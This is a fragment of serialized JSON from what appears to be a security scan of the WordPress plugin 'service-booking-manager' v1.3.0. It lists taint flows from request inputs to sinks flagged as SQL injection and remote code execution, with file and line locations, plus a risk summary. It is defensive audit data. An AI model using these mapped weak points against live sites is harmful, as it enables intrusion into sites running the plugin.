(Admin\\settings\\Faq.php:169)",{"nodes":1327,"edges":1331},[1328,1329,1330],{"id":1104,"type":1105,"label":1128,"file":388,"line":1173},{"id":1108,"type":1131,"label":1318,"file":388,"line":1173},{"id":1134,"type":1109,"label":1110,"file":526,"line":1320,"wp_function":1111},[1332,1333],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1335,"graph":1336,"unsanitizedCount":28,"severity":1114},"save_faq_data_settings (Admin\\settings\\Faq.php:198)",{"nodes":1337,"edges":1342},[1338,1340,1341],{"id":1104,"type":1105,"label":1128,"file":388,"line":1339},219,{"id":1108,"type":1131,"label":1318,"file":388,"line":1339},{"id":1134,"type":1109,"label":1110,"file":526,"line":1320,"wp_function":1111},[1343,1344],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1346,"graph":1347,"unsanitizedCount":28,"severity":1114},"faq_delete_item (Admin\\settings\\Faq.php:233)",{"nodes":1348,"edges":1353},[1349,1351,1352],{"id":1104,"type":1105,"label":1128,"file":388,"line":1350},253,{"id":1108,"type":1131,"label":1318,"file":388,"line":1350},{"id":1134,"type":1109,"label":1110,"file":526,"line":1320,"wp_function":1111},[1354,1355],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1357,"graph":1358,"unsanitizedCount":297,"severity":1114},"\u003CFaq> (Admin\\settings\\Faq.php:0)",{"nodes":1359,"edges":1367},[1360,1361,1363,1365,1366],{"id":1104,"type":1105,"label":1128,"file":388,"line":672},{"id":1108,"type":1109,"label":1110,"file":388,"line":1362,"wp_function":1111},110,{"id":1134,"type":1105,"label":1364,"file":388,"line":1316},"$_POST (x5)",{"id":1175,"type":1131,"label":1318,"file":388,"line":1316},{"id":1177,"type":1109,"label":1110,"file":526,"line":1320,"wp_function":1111},[1368,1369,1370],{"from":1104,"to":1108,"sanitized":774},{"from":1134,"to":1175,"sanitized":50},{"from":1175,"to":1177,"sanitized":50},{"entryPoint":1372,"graph":1373,"unsanitizedCount":28,"severity":1114},"get_mpwpb_end_time_slot (Admin\\settings\\MPWPB_Date_Time_Settings.php:347)",{"nodes":1374,"edges":1379},[1375,1377,1378],{"id":1104,"type":1105,"label":1376,"file":398,"line":1275},"$_REQUEST",{"id":1108,"type":1131,"label":1132,"file":398,"line":1275},{"id":1134,"type":1109,"label":1110,"file":398,"line":564,"wp_function":1111},[1380,1381],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1383,"graph":1384,"unsanitizedCount":28,"severity":1114},"get_mpwpb_start_break_time (Admin\\settings\\MPWPB_Date_Time_Settings.php:354)",{"nodes":1385,"edges":1390},[1386,1388,1389],{"id":1104,"type":1105,"label":1376,"file":398,"line":1387},359,{"id":1108,"type":1131,"label":1145,"file":398,"line":1387},{"id":1134,"type":1109,"label":1110,"file":398,"line":1147,"wp_function":1111},[1391,1392],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1394,"graph":1395,"unsanitizedCount":28,"severity":1114},"get_mpwpb_end_break_time (Admin\\settings\\MPWPB_Date_Time_Settings.php:362)",{"nodes":1396,"edges":1401},[1397,1399,1400],{"id":1104,"type":1105,"label":1376,"file":398,"line":1398},367,{"id":1108,"type":1131,"label":1158,"file":398,"line":1398},{"id":1134,"type":1109,"label":1110,"file":398,"line":1160,"wp_function":1111},[1402,1403],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1405,"graph":1406,"unsanitizedCount":51,"severity":1114},"\u003CMPWPB_Date_Time_Settings> (Admin\\settings\\MPWPB_Date_Time_Settings.php:0)",{"nodes":1407,"edges":1417},[1408,1409,1410,1411,1412,1413,1414,1415,1416],{"id":1104,"type":1105,"label":1376,"file":398,"line":1275},{"id":1108,"type":1131,"label":1132,"file":398,"line":1275},{"id":1134,"type":1109,"label":1110,"file":398,"line":564,"wp_function":1111},{"id":1175,"type":1105,"label":1376,"file":398,"line":1387},{"id":1177,"type":1131,"label":1145,"file":398,"line":1387},{"id":1179,"type":1109,"label":1110,"file":398,"line":1147,"wp_function":1111},{"id":1181,"type":1105,"label":1376,"file":398,"line":1398},{"id":1183,"type":1131,"label":1158,"file":398,"line":1398},{"id":1185,"type":1109,"label":1110,"file":398,"line":1160,"wp_function":1111},[1418,1419,1420,1421,1422,1423],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"from":1175,"to":1177,"sanitized":50},{"from":1177,"to":1179,"sanitized":50},{"from":1181,"to":1183,"sanitized":50},{"from":1183,"to":1185,"sanitized":50},{"entryPoint":1425,"graph":1426,"unsanitizedCount":28,"severity":1114},"\u003CService> (Admin\\settings\\Service.php:0)",{"nodes":1427,"edges":1438},[1428,1431,1432,1434,1436],{"id":1104,"type":1105,"label":1429,"file":429,"line":1430},"$_POST (x13)",160,{"id":1108,"type":1109,"label":1110,"file":429,"line":982,"wp_function":1111},{"id":1134,"type":1105,"label":1128,"file":429,"line":1433},472,{"id":1175,"type":1131,"label":1435,"file":429,"line":1433},"→ get_service_item()",{"id":1177,"type":1109,"label":1110,"file":429,"line":1437,"wp_function":1111},498,[1439,1440,1441],{"from":1104,"to":1108,"sanitized":774},{"from":1134,"to":1175,"sanitized":50},{"from":1175,"to":1177,"sanitized":50},{"entryPoint":1443,"graph":1444,"unsanitizedCount":28,"severity":1450},"\u003CMPWPB_Analytics_Dashboard> (Admin\\MPWPB_Analytics_Dashboard.php:0)",{"nodes":1445,"edges":1448},[1446,1447],{"id":1104,"type":1105,"label":1106,"file":221,"line":13},{"id":1108,"type":1109,"label":1110,"file":221,"line":975,"wp_function":1111},[1449],{"from":1104,"to":1108,"sanitized":50},"low",{"entryPoint":1452,"graph":1453,"unsanitizedCount":71,"severity":1450},"\u003CMPWPB_Quick_Setup> (Admin\\MPWPB_Quick_Setup.php:0)",{"nodes":1454,"edges":1460},[1455,1458],{"id":1104,"type":1105,"label":1456,"file":263,"line":1457},"$_POST (x2)",96,{"id":1108,"type":1109,"label":1110,"file":263,"line":1459,"wp_function":1111},209,[1461],{"from":1104,"to":1108,"sanitized":774},{"entryPoint":1463,"graph":1464,"unsanitizedCount":28,"severity":1450},"get_mpwpb_get_staff_form (Admin\\MPWPB_Staffs.php:523)",{"nodes":1465,"edges":1469},[1466,1467,1468],{"id":1104,"type":1105,"label":1128,"file":309,"line":1169},{"id":1108,"type":1131,"label":1171,"file":309,"line":1169},{"id":1134,"type":1109,"label":1110,"file":315,"line":1173,"wp_function":1111},[1470,1471],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1473,"graph":1474,"unsanitizedCount":71,"severity":1450},"\u003CMPWPB_Staff_DashBoard> (Admin\\MPWPB_Staff_DashBoard.php:0)",{"nodes":1475,"edges":1478},[1476,1477],{"id":1104,"type":1105,"label":1128,"file":313,"line":631},{"id":1108,"type":1109,"label":1110,"file":313,"line":967,"wp_function":1111},[1479],{"from":1104,"to":1108,"sanitized":774},{"entryPoint":1481,"graph":1482,"unsanitizedCount":28,"severity":1450},"get_mpwpb_get_staff_form (Admin\\MPWPB_Staff_Members.php:537)",{"nodes":1483,"edges":1487},[1484,1485,1486],{"id":1104,"type":1105,"label":1128,"file":315,"line":1238},{"id":1108,"type":1131,"label":1171,"file":315,"line":1238},{"id":1134,"type":1109,"label":1110,"file":315,"line":1173,"wp_function":1111},[1488,1489],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1491,"graph":1492,"unsanitizedCount":71,"severity":1450},"\u003CMPWPB_Wc_Checkout_Fields> (Admin\\MPWPB_Wc_Checkout_Fields.php:0)",{"nodes":1493,"edges":1496},[1494,1495],{"id":1104,"type":1105,"label":1456,"file":342,"line":715},{"id":1108,"type":1109,"label":1110,"file":342,"line":664,"wp_function":1111},[1497],{"from":1104,"to":1108,"sanitized":774},{"entryPoint":1499,"graph":1500,"unsanitizedCount":71,"severity":1450},"\u003CCategory> (Admin\\settings\\Category.php:0)",{"nodes":1501,"edges":1506},[1502,1504],{"id":1104,"type":1105,"label":1128,"file":378,"line":1503},75,{"id":1108,"type":1109,"label":1110,"file":378,"line":1505,"wp_function":1111},116,[1507],{"from":1104,"to":1108,"sanitized":774},{"entryPoint":1509,"graph":1510,"unsanitizedCount":71,"severity":1450},"\u003CExtra_service> (Admin\\settings\\Extra_service.php:0)",{"nodes":1511,"edges":1516},[1512,1514],{"id":1104,"type":1105,"label":1456,"file":385,"line":1513},152,{"id":1108,"type":1109,"label":1110,"file":385,"line":1515,"wp_function":1111},230,[1517],{"from":1104,"to":1108,"sanitized":774},{"entryPoint":1519,"graph":1520,"unsanitizedCount":71,"severity":1450},"\u003CPricing> (Admin\\settings\\Pricing.php:0)",{"nodes":1521,"edges":1524},[1522,1523],{"id":1104,"type":1105,"label":1128,"file":420,"line":302},{"id":1108,"type":1109,"label":1110,"file":420,"line":1503,"wp_function":1111},[1525],{"from":1104,"to":1108,"sanitized":774},{"entryPoint":1527,"graph":1528,"unsanitizedCount":71,"severity":1450},"\u003CMPWPB_Recurring_Booking> (Frontend\\MPWPB_Recurring_Booking.php:0)",{"nodes":1529,"edges":1533},[1530,1531],{"id":1104,"type":1105,"label":1128,"file":510,"line":717},{"id":1108,"type":1109,"label":1110,"file":510,"line":1532,"wp_function":1111},237,[1534],{"from":1104,"to":1108,"sanitized":774},{"entryPoint":1536,"graph":1537,"unsanitizedCount":71,"severity":1450},"\u003CMPWPB_Wc_Checkout_Fields_Helper> (Frontend\\MPWPB_Wc_Checkout_Fields_Helper.php:0)",{"nodes":1538,"edges":1544},[1539,1542],{"id":1104,"type":1105,"label":1540,"file":560,"line":1541},"$_FILES (x2)",666,{"id":1108,"type":1109,"label":1110,"file":560,"line":1543,"wp_function":1111},756,[1545],{"from":1104,"to":1108,"sanitized":774},{"entryPoint":1547,"graph":1548,"unsanitizedCount":51,"severity":40},"handle_review_actions (Admin\\MPWPB_Reviews_Admin.php:299)",{"nodes":1549,"edges":1565},[1550,1553,1555,1559,1561,1563],{"id":1104,"type":1105,"label":1551,"file":266,"line":1552},"$_GET (x2)",310,{"id":1108,"type":1131,"label":1554,"file":266,"line":1552},"→ update_review_status()",{"id":1134,"type":1109,"label":1556,"file":266,"line":1557,"wp_function":1558},"get_row() [SQLi]",398,"get_row",{"id":1175,"type":1105,"label":1106,"file":266,"line":1560},320,{"id":1177,"type":1131,"label":1562,"file":266,"line":1560},"→ delete_review_by_id()",{"id":1179,"type":1109,"label":1556,"file":266,"line":1564,"wp_function":1558},418,[1566,1567,1568,1569],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"from":1175,"to":1177,"sanitized":50},{"from":1177,"to":1179,"sanitized":50},{"entryPoint":1571,"graph":1572,"unsanitizedCount":28,"severity":40},"change_review_status (Admin\\MPWPB_Reviews_Admin.php:332)",{"nodes":1573,"edges":1578},[1574,1576,1577],{"id":1104,"type":1105,"label":1128,"file":266,"line":1575},346,{"id":1108,"type":1131,"label":1554,"file":266,"line":1575},{"id":1134,"type":1109,"label":1556,"file":266,"line":1557,"wp_function":1558},[1579,1580],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1582,"graph":1583,"unsanitizedCount":28,"severity":40},"delete_review (Admin\\MPWPB_Reviews_Admin.php:358)",{"nodes":1584,"edges":1589},[1585,1587,1588],{"id":1104,"type":1105,"label":1128,"file":266,"line":1586},371,{"id":1108,"type":1131,"label":1562,"file":266,"line":1586},{"id":1134,"type":1109,"label":1556,"file":266,"line":1564,"wp_function":1558},[1590,1591],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1593,"graph":1594,"unsanitizedCount":1640,"severity":40},"\u003CMPWPB_Reviews_Admin> (Admin\\MPWPB_Reviews_Admin.php:0)",{"nodes":1595,"edges":1627},[1596,1597,1598,1599,1600,1601,1602,1603,1604,1605,1606,1607,1608,1610,1612,1614,1616,1619,1622],{"id":1104,"type":1105,"label":1106,"file":266,"line":182},{"id":1108,"type":1109,"label":1110,"file":266,"line":980,"wp_function":1111},{"id":1134,"type":1105,"label":1456,"file":266,"line":591},{"id":1175,"type":1109,"label":1556,"file":266,"line":1557,"wp_function":1558},{"id":1177,"type":1105,"label":1551,"file":266,"line":1552},{"id":1179,"type":1131,"label":1554,"file":266,"line":1552},{"id":1181,"type":1109,"label":1556,"file":266,"line":1557,"wp_function":1558},{"id":1183,"type":1105,"label":1106,"file":266,"line":1560},{"id":1185,"type":1131,"label":1562,"file":266,"line":1560},{"id":1187,"type":1109,"label":1556,"file":266,"line":1564,"wp_function":1558},{"id":1189,"type":1105,"label":1128,"file":266,"line":1575},{"id":1191,"type":1131,"label":1554,"file":266,"line":1575},{"id":1609,"type":1109,"label":1556,"file":266,"line":1557,"wp_function":1558},"n12",{"id":1611,"type":1105,"label":1128,"file":266,"line":1586},"n13",{"id":1613,"type":1131,"label":1562,"file":266,"line":1586},"n14",{"id":1615,"type":1109,"label":1556,"file":266,"line":1564,"wp_function":1558},"n15",{"id":1617,"type":1105,"label":1456,"file":266,"line":1618},"n16",402,{"id":1620,"type":1131,"label":1621,"file":266,"line":1618},"n17","→ update_service_rating()",{"id":1623,"type":1109,"label":1624,"file":266,"line":1625,"wp_function":1626},"n18","get_results() [SQLi]",533,"get_results",[1628,1629,1630,1631,1632,1633,1634,1635,1636,1637,1638,1639],{"from":1104,"to":1108,"sanitized":774},{"from":1134,"to":1175,"sanitized":774},{"from":1177,"to":1179,"sanitized":50},{"from":1179,"to":1181,"sanitized":50},{"from":1183,"to":1185,"sanitized":50},{"from":1185,"to":1187,"sanitized":50},{"from":1189,"to":1191,"sanitized":50},{"from":1191,"to":1609,"sanitized":50},{"from":1611,"to":1613,"sanitized":50},{"from":1613,"to":1615,"sanitized":50},{"from":1617,"to":1620,"sanitized":50},{"from":1620,"to":1623,"sanitized":50},7,{"entryPoint":1642,"graph":1643,"unsanitizedCount":28,"severity":40},"mpwpb_get_available_staff_old (Frontend\\MPWPB_Staff_Booking.php:226)",{"nodes":1644,"edges":1651},[1645,1647],{"id":1104,"type":1105,"label":1128,"file":933,"line":1646},227,{"id":1108,"type":1109,"label":1648,"file":933,"line":1649,"wp_function":1650},"call_user_func_array() [RCE]",244,"call_user_func_array",[1652],{"from":1104,"to":1108,"sanitized":50},{"entryPoint":1654,"graph":1655,"unsanitizedCount":28,"severity":40},"mpwpb_get_available_staff (Frontend\\MPWPB_Staff_Booking.php:277)",{"nodes":1656,"edges":1660},[1657,1659],{"id":1104,"type":1105,"label":1128,"file":933,"line":1658},278,{"id":1108,"type":1109,"label":1648,"file":933,"line":582,"wp_function":1650},[1661],{"from":1104,"to":1108,"sanitized":50},{"entryPoint":1663,"graph":1664,"unsanitizedCount":27,"severity":40},"\u003CMPWPB_Staff_Booking> (Frontend\\MPWPB_Staff_Booking.php:0)",{"nodes":1665,"edges":1668},[1666,1667],{"id":1104,"type":1105,"label":1456,"file":933,"line":1646},{"id":1108,"type":1109,"label":1648,"file":933,"line":1649,"wp_function":1650},[1669],{"from":1104,"to":1108,"sanitized":50},{"summary":1671,"deductions":1672},"The 'service-booking-manager' plugin v1.3.0 exhibits a mixed security posture. On the positive side, it demonstrates good practices with a high percentage of properly escaped outputs and a significant number of nonce and capability checks.  The majority of its SQL queries utilize prepared statements, which is a strong defense against SQL injection.\n\nHowever, several areas raise significant concerns. The presence of 8 AJAX handlers without authentication checks creates a substantial attack surface that could be exploited by unauthenticated users. Furthermore, the taint analysis reveals 7 high-severity flows with unsanitized paths, indicating potential vulnerabilities like path traversal or arbitrary file access.  The plugin also has a history of deserialization vulnerabilities, with one critical unpatched CVE related to this type of issue, and the last reported vulnerability being recent, suggesting a recurring security weakness that needs immediate attention.\n\nIn conclusion, while the plugin incorporates several security best practices, the unauthenticated AJAX endpoints and the high-severity unsanitized paths, coupled with a critical unpatched deserialization vulnerability, present a notable risk. The developer needs to prioritize addressing the unpatched CVE and thoroughly auditing the identified taint flows to mitigate these critical security weaknesses. The presence of bundled Select2 library, while not explicitly flagged as vulnerable, is a common vector for issues if outdated.",[1673,1675,1677,1679],{"reason":1674,"points":14},"Unprotected AJAX handlers",{"reason":1676,"points":207},"High severity taint flows",{"reason":1678,"points":302},"Unpatched critical CVE (Deserialization)",{"reason":1680,"points":51},"Bundled library (Select2)","2026-03-16T20:13:15.697Z",{"wat":1683,"direct":1692},{"assetPaths":1684,"generatorPatterns":1687,"scriptPaths":1688,"versionParams":1689},[1685,1686],"\u002Fwp-content\u002Fplugins\u002Fservice-booking-manager\u002Fassets\u002Fadmin\u002Fmpwpb_analytics_dashboard.css","\u002Fwp-content\u002Fplugins\u002Fservice-booking-manager\u002Fassets\u002Fadmin\u002Fmpwpb_analytics_dashboard.js",[],[1686],[1690,1691],"mpwpb-analytics-dashboard?ver=","mpwpb_analytics_dashboard.js?ver=",{"cssClasses":1693,"htmlComments":1699,"htmlAttributes":1700,"restEndpoints":1704,"jsGlobals":1705,"shortcodeOutput":1707},[1694,1695,1696,1697,1698],"mpwpb-analytics-dashboard","mpwpb-dashboard-filters","mpwpb-filter-row","mpwpb-filter-group","mpwpb-custom-date-range",[],[1701,1702,1703],"data-date_range","data-start_date","data-end_date",[],[1706],"MPWPB_PLUGIN_URL",[],{"error":774,"url":1709,"statusCode":1710,"statusMessage":1711,"message":1711},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fservice-booking-manager\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":71,"versions":1713},[]]